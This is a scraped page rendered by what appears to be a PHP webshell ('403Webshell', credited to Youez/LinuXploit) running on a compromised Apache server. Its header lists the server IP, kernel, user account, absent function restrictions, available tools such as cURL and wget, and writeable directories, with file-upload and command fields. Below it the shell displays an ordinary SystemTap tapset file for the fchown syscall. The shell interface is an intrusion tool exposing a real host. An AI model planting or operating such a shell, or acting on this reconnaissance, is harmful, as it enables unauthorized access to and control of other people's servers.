403Webshell
Server IP : 118.27.122.120  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux web0216.sh.tyo1 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : r4834334 ( 11094)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/opt/rh/devtoolset-8/root/usr/share/systemtap/tapset/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/opt/rh/devtoolset-8/root/usr/share/systemtap/tapset/linux//sysc_fchown.stp
# fchown _____________________________________________________
# long sys_fchown(unsigned int fd, uid_t user, gid_t group)

@define _SYSCALL_FCHOWN_NAME
%(
	name = "fchown"
%)

@define _SYSCALL_FCHOWN_ARGSTR
%(
	argstr = sprintf("%d, %d, %d", fd, owner, group)
%)

probe syscall.fchown = dw_syscall.fchown !, nd_syscall.fchown ? {}
probe syscall.fchown.return = dw_syscall.fchown.return !, nd_syscall.fchown.return ? {}

# dw_fchown _____________________________________________________

probe dw_syscall.fchown = kernel.function("sys_fchown").call
{
	// Avoid fchown16() calling fchown().
%( arch == "x86_64" %?
	@__syscall_compat_gate(@const("__NR_fchown"), @const("__NR_ia32_fchown32"))
%)
%( arch == "i386" %?
	@__syscall_gate(@const("__NR_fchown32"))
%)
	@_SYSCALL_FCHOWN_NAME
	fd = __int32($fd)
	owner = __int32($user)
	group = __int32($group)
	@_SYSCALL_FCHOWN_ARGSTR
}
probe dw_syscall.fchown.return = kernel.function("sys_fchown").return
{
%( arch == "x86_64" %?
	@__syscall_compat_gate(@const("__NR_fchown"), @const("__NR_ia32_fchown32"))
%)
%( arch == "i386" %?
	@__syscall_gate(@const("__NR_fchown32"))
%)
	@_SYSCALL_FCHOWN_NAME
	retstr = return_str(1, $return)
}

# nd_fchown _____________________________________________________

probe nd_syscall.fchown = kprobe.function("sys_fchown") ?
{
	// Avoid fchown16() calling fchown().
%( arch == "x86_64" %?
	@__syscall_compat_gate(@const("__NR_fchown"), @const("__NR_ia32_fchown32"))
%)
%( arch == "i386" %?
	@__syscall_gate(@const("__NR_fchown32"))
%)
	@_SYSCALL_FCHOWN_NAME
	asmlinkage()
	fd = int_arg(1)
	owner = __int32(uint_arg(2))
	group = __int32(uint_arg(3))
	@_SYSCALL_FCHOWN_ARGSTR
}
probe nd_syscall.fchown.return = kprobe.function("sys_fchown").return ?
{
%( arch == "x86_64" %?
	@__syscall_compat_gate(@const("__NR_fchown"), @const("__NR_ia32_fchown32"))
%)
%( arch == "i386" %?
	@__syscall_gate(@const("__NR_fchown32"))
%)
	@_SYSCALL_FCHOWN_NAME
	retstr = returnstr(1)
}

Youez - 2016 - github.com/yon3zu
LinuXploit